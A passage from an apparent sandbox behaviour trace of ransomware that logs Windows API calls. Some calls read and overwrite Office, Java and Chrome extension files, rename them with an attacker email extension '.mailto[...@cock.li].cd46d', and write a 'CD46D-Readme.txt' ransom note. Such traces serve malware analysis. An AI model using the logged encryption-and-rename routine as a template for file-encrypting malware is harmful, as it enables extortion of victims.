Content\\1033\\EECOMP_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eecomp_u.vss")) returned 0x20 [0194.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EECOMP_U.VSS", dwFileAttributes=0x20) returned 0 [0194.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EECOMP_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eecomp_u.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0194.986] GetLastError () returned 0x5 [0194.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EECOMP_U.VSS", dwFileAttributes=0x20) returned 0 [0194.986] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9acee8) returned 1 Thread: id = 8631 os_tid = 0x16e0 [0194.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEFUND_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eefund_m.vss")) returned 0x20 [0195.514] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEFUND_M.VSS", dwFileAttributes=0x20) returned 0 [0195.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEFUND_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eefund_m.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0195.515] GetLastError () returned 0x5 [0195.515] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEFUND_M.VSS", dwFileAttributes=0x20) returned 0 [0195.515] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ae1a8) returned 1 Thread: id = 8653 os_tid = 0xb68 [0195.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf")) returned 0x20 [0197.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF", dwFileAttributes=0x20) returned 0 [0197.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0197.363] GetLastError () returned 0x5 [0197.363] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF", dwFileAttributes=0x20) returned 0 [0197.363] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b7fd8) returned 1 Thread: id = 8654 os_tid = 0xb6c [0195.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf")) returned 0x20 [0197.363] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF", dwFileAttributes=0x20) returned 0 [0197.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0197.364] GetLastError () returned 0x5 [0197.364] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF", dwFileAttributes=0x20) returned 0 [0197.364] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c51160) returned 1 Thread: id = 8655 os_tid = 0xbdc [0195.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf")) returned 0x20 [0197.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF", dwFileAttributes=0x20) returned 0 [0197.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0197.333] GetLastError () returned 0x5 [0197.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF", dwFileAttributes=0x20) returned 0 [0197.333] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c509f0) returned 1 Thread: id = 8672 os_tid = 0x40c [0195.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PULQOT98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\pulqot98.poc")) returned 0x20 [0197.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PULQOT98.POC", dwFileAttributes=0x20) returned 0 [0197.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PULQOT98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\pulqot98.poc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0197.442] GetLastError () returned 0x5 [0197.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PULQOT98.POC", dwFileAttributes=0x20) returned 0 [0197.442] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b37b8) returned 1 Thread: id = 8684 os_tid = 0x1aa0 [0195.267] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json")) returned 0x2020 [0195.268] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json", dwFileAttributes=0x20) returned 1 [0200.095] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1280 [0200.095] GetFileSizeEx (in: hFile=0x1280, lpFileSize=0xbedf7cc | out: lpFileSize=0xbedf7cc*=179) returned 1 [0200.095] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af230 [0200.095] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909938 [0200.095] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909370 [0200.095] NtQuerySystemTime (in: CurrentTime=0xbedf72c | out: CurrentTime=0xbedf72c*=132174899746870000) returned 0x0 [0200.095] RtlRandomEx (in: Seed=0xbedf738 | out: Seed=0xbedf738) returned 0x4a80a1e1 [0200.095] RtlRandomEx (in: Seed=0xbedf738 | out: Seed=0xbedf738) returned 0x8e4b641 [0200.096] RtlRandomEx (in: Seed=0xbedf738 | out: Seed=0xbedf738) returned 0x29cce274 [0200.096] RtlRandomEx (in: Seed=0xbedf738 | out: Seed=0xbedf738) returned 0x59da9ef8 [0200.096] RtlRandomEx (in: Seed=0xbedf738 | out: Seed=0xbedf738) returned 0x4015c258 [0200.096] RtlRandomEx (in: Seed=0xbedf738 | out: Seed=0xbedf738) returned 0x224b09c9 [0200.096] RtlRandomEx (in: Seed=0xbedf738 | out: Seed=0xbedf738) returned 0x25286932 [0200.096] RtlRandomEx (in: Seed=0xbedf738 | out: Seed=0xbedf738) returned 0x79c1fe38 [0200.096] RtlRandomEx (in: Seed=0xbedf738 | out: Seed=0xbedf738) returned 0x7a006b22 [0200.096] RtlRandomEx (in: Seed=0xbedf738 | out: Seed=0xbedf738) returned 0x40bb4727 [0200.096] RtlRandomEx (in: Seed=0xbedf738 | out: Seed=0xbedf738) returned 0x4d8f0e5b [0200.096] RtlRandomEx (in: Seed=0xbedf738 | out: Seed=0xbedf738) returned 0x33e5a1d2 [0200.096] RtlRandomEx (in: Seed=0xbedf738 | out: Seed=0xbedf738) returned 0x3c78cdfb [0200.096] RtlRandomEx (in: Seed=0xbedf738 | out: Seed=0xbedf738) returned 0x588a3102 [0200.096] RtlRandomEx (in: Seed=0xbedf738 | out: Seed=0xbedf738) returned 0x2a4bbb64 [0200.096] RtlRandomEx (in: Seed=0xbedf738 | out: Seed=0xbedf738) returned 0x56694329 [0200.096] RtlRandomEx (in: Seed=0xbedf738 | out: Seed=0xbedf738) returned 0x1105616a [0200.096] RtlRandomEx (in: Seed=0xbedf738 | out: Seed=0xbedf738) returned 0x2b5275a9 [0200.096] RtlRandomEx (in: Seed=0xbedf738 | out: Seed=0xbedf738) returned 0x63f778a7 [0200.096] RtlRandomEx (in: Seed=0xbedf738 | out: Seed=0xbedf738) returned 0x682dc33b [0200.096] RtlRandomEx (in: Seed=0xbedf738 | out: Seed=0xbedf738) returned 0x349836a0 [0200.096] RtlRandomEx (in: Seed=0xbedf738 | out: Seed=0xbedf738) returned 0x7e78558a [0200.096] RtlRandomEx (in: Seed=0xbedf738 | out: Seed=0xbedf738) returned 0x7ad87ebc [0200.096] RtlRandomEx (in: Seed=0xbedf738 | out: Seed=0xbedf738) returned 0x495a5441 [0200.096] RtlRandomEx (in: Seed=0xbedf738 | out: Seed=0xbedf738) returned 0x31e8bc7b [0200.096] RtlRandomEx (in: Seed=0xbedf738 | out: Seed=0xbedf738) returned 0x7d92ef7 [0200.096] RtlRandomEx (in: Seed=0xbedf738 | out: Seed=0xbedf738) returned 0xcf186b7 [0200.096] RtlRandomEx (in: Seed=0xbedf738 | out: Seed=0xbedf738) returned 0x72527a2 [0200.096] RtlRandomEx (in: Seed=0xbedf738 | out: Seed=0xbedf738) returned 0x4e91aac0 [0200.096] RtlRandomEx (in: Seed=0xbedf738 | out: Seed=0xbedf738) returned 0x104c47e4 [0200.096] RtlRandomEx (in: Seed=0xbedf738 | out: Seed=0xbedf738) returned 0x783a4fb2 [0200.096] RtlRandomEx (in: Seed=0xbedf738 | out: Seed=0xbedf738) returned 0x5b4c98e5 [0200.108] ReadFile (in: hFile=0x1280, lpBuffer=0x12ccf098, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0xbedf728, lpOverlapped=0x0 | out: lpBuffer=0x12ccf098*, lpNumberOfBytesRead=0xbedf728*=0xb3, lpOverlapped=0x0) returned 1 [0200.109] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.109] WriteFile (in: hFile=0x1280, lpBuffer=0x12cdb8a0*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0xbedf724, lpOverlapped=0x0 | out: lpBuffer=0x12cdb8a0*, lpNumberOfBytesWritten=0xbedf724*=0xb3, lpOverlapped=0x0) returned 1 [0201.166] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d81e8 [0201.166] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d8210 [0201.166] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8210) returned 1 [0201.166] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cdb8a0) returned 1 [0201.180] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12ccf098) returned 1 [0201.182] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fac68) returned 1 [0201.182] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2500) returned 1 [0201.182] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6a80 [0201.182] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.183] WriteFile (in: hFile=0x1280, lpBuffer=0x1338d1c8*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0xbedf78c, lpOverlapped=0x0 | out: lpBuffer=0x1338d1c8*, lpNumberOfBytesWritten=0xbedf78c*=0x10b, lpOverlapped=0x0) returned 1 [0201.658] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1338d1c8) returned 1 [0201.658] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6ab0) returned 1 [0201.658] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8210) returned 1 [0201.658] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6a80) returned 1 [0201.658] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d81e8) returned 1 [0201.658] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909938) returned 1 [0201.658] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9094b0) returned 1 [0201.658] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909848) returned 1 [0201.658] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x17c) returned 0xd4c7d98 [0201.658] wcscpy (in: _Dest=0xd4c7d98, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json" [0201.658] wcscat (in: _Dest=0xd4c7d98, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0201.658] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xbedf744, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.659] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x192) returned 0x934d30 [0201.847] FlushFileBuffers (hFile=0x1280) returned 1 [0201.854] CloseHandle (hObject=0x1280) returned 1 [0201.942] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x13c) returned 0x9b6098 [0201.942] wcscpy (in: _Dest=0x9b6098, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\" [0201.942] wcscat (in: _Dest=0x9b6098, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\CD46D-Readme.txt" [0201.942] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\cd46d-readme.txt")) returned 0xffffffff [0201.942] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14b8 [0202.073] WriteFile (in: hFile=0x14b8, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0xbedf74c, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0xbedf74c*=0x6fd, lpOverlapped=0x0) returned 1 [0202.074] CloseHandle (hObject=0x14b8) returned 1 [0202.074] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b6098) returned 1 [0202.074] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9a4f98) returned 1 Thread: id = 8685 os_tid = 0x1dc0 [0195.268] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana\\Indianapolis" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\indiana\\indianapolis")) returned 0x20 [0196.446] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana\\Indianapolis", dwFileAttributes=0x20) returned 0 [0196.446] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana\\Indianapolis" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\indiana\\indianapolis"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0196.446] GetLastError () returned 0x5 [0196.446] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana\\Indianapolis", dwFileAttributes=0x20) returned 0 [0196.446] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c76290) returned 1 Thread: id = 8745 os_tid = 0x1f60 [0196.460] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json")) returned 0x2020 [0196.460] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json", dwFileAttributes=0x20) returned 1 [0200.366] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x115c [0200.366] GetFileSizeEx (in: hFile=0x115c, lpFileSize=0x330faf8 | out: lpFileSize=0x330faf8*=179) returned 1 [0200.367] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af230 [0200.367] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e180 [0200.367] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e040 [0200.367] NtQuerySystemTime (in: CurrentTime=0x330fa58 | out: CurrentTime=0x330fa58*=132174899749678000) returned 0x0 [0200.367] RtlRandomEx (in: Seed=0x330fa64 | out: Seed=0x330fa64) returned 0xb4deea4 [0200.367] RtlRandomEx (in: Seed=0x330fa64 | out: Seed=0x330fa64) returned 0x4009ac77 [0200.367] RtlRandomEx (in: Seed=0x330fa64 | out: Seed=0x330fa64) returned 0x565c7255 [0200.367] RtlRandomEx (in: Seed=0x330fa64 | out: Seed=0x330fa64) returned 0x4bb94600 [0200.367] RtlRandomEx (in: Seed=0x330fa64 | out: Seed=0x330fa64) returned 0x3b56d099 [0200.367] RtlRandomEx (in: Seed=0x330fa64 | out: Seed=0x330fa64) returned 0x7f96bafe [0200.367] RtlRandomEx (in: Seed=0x330fa64 | out: Seed=0x330fa64) returned 0x2baa0259 [0200.367] RtlRandomEx (in: Seed=0x330fa64 | out: Seed=0x330fa64) returned 0x608f06da [0200.367] RtlRandomEx (in: Seed=0x330fa64 | out: Seed=0x330fa64) returned 0x27414660 [0200.367] RtlRandomEx (in: Seed=0x330fa64 | out: Seed=0x330fa64) returned 0x5e89c6f9 [0200.367] RtlRandomEx (in: Seed=0x330fa64 | out: Seed=0x330fa64) returned 0x6b3cfa91 [0200.367] RtlRandomEx (in: Seed=0x330fa64 | out: Seed=0x330fa64) returned 0x2ffc5139 [0200.367] RtlRandomEx (in: Seed=0x330fa64 | out: Seed=0x330fa64) returned 0x76728d89 [0200.367] RtlRandomEx (in: Seed=0x330fa64 | out: Seed=0x330fa64) returned 0x308ee91b [0200.367] RtlRandomEx (in: Seed=0x330fa64 | out: Seed=0x330fa64) returned 0x461d939 [0200.367] RtlRandomEx (in: Seed=0x330fa64 | out: Seed=0x330fa64) returned 0x8723541 [0200.367] RtlRandomEx (in: Seed=0x330fa64 | out: Seed=0x330fa64) returned 0x61aabdcf [0200.367] RtlRandomEx (in: Seed=0x330fa64 | out: Seed=0x330fa64) returned 0x1a745b8d [0200.367] RtlRandomEx (in: Seed=0x330fa64 | out: Seed=0x330fa64) returned 0x16541ddd [0200.367] RtlRandomEx (in: Seed=0x330fa64 | out: Seed=0x330fa64) returned 0x23d18fd6 [0200.367] RtlRandomEx (in: Seed=0x330fa64 | out: Seed=0x330fa64) returned 0x4f3d0dc0 [0200.367] RtlRandomEx (in: Seed=0x330fa64 | out: Seed=0x330fa64) returned 0x77a04b9f [0200.367] RtlRandomEx (in: Seed=0x330fa64 | out: Seed=0x330fa64) returned 0x37f4876 [0200.367] RtlRandomEx (in: Seed=0x330fa64 | out: Seed=0x330fa64) returned 0x4c39d040 [0200.367] RtlRandomEx (in: Seed=0x330fa64 | out: Seed=0x330fa64) returned 0x748d0948 [0200.367] RtlRandomEx (in: Seed=0x330fa64 | out: Seed=0x330fa64) returned 0x40a84f4a [0200.367] RtlRandomEx (in: Seed=0x330fa64 | out: Seed=0x330fa64) returned 0x5b15eba [0200.367] RtlRandomEx (in: Seed=0x330fa64 | out: Seed=0x330fa64) returned 0x1c183eef [0200.368] RtlRandomEx (in: Seed=0x330fa64 | out: Seed=0x330fa64) returned 0x7f51df5c [0200.368] RtlRandomEx (in: Seed=0x330fa64 | out: Seed=0x330fa64) returned 0x6b7831d6 [0200.368] RtlRandomEx (in: Seed=0x330fa64 | out: Seed=0x330fa64) returned 0x653da01b [0200.368] RtlRandomEx (in: Seed=0x330fa64 | out: Seed=0x330fa64) returned 0x18571b6f [0200.379] ReadFile (in: hFile=0x115c, lpBuffer=0x134270f8, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x330fa54, lpOverlapped=0x0 | out: lpBuffer=0x134270f8*, lpNumberOfBytesRead=0x330fa54*=0xb3, lpOverlapped=0x0) returned 1 [0200.383] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.383] WriteFile (in: hFile=0x115c, lpBuffer=0x13433900*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x330fa50, lpOverlapped=0x0 | out: lpBuffer=0x13433900*, lpNumberOfBytesWritten=0x330fa50*=0xb3, lpOverlapped=0x0) returned 1 [0201.398] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d85d0 [0201.398] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d85f8 [0201.398] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d85f8) returned 1 [0201.398] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13433900) returned 1 [0201.398] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134270f8) returned 1 [0201.400] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8c38) returned 1 [0201.400] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9408) returned 1 [0201.400] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6f60 [0201.400] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 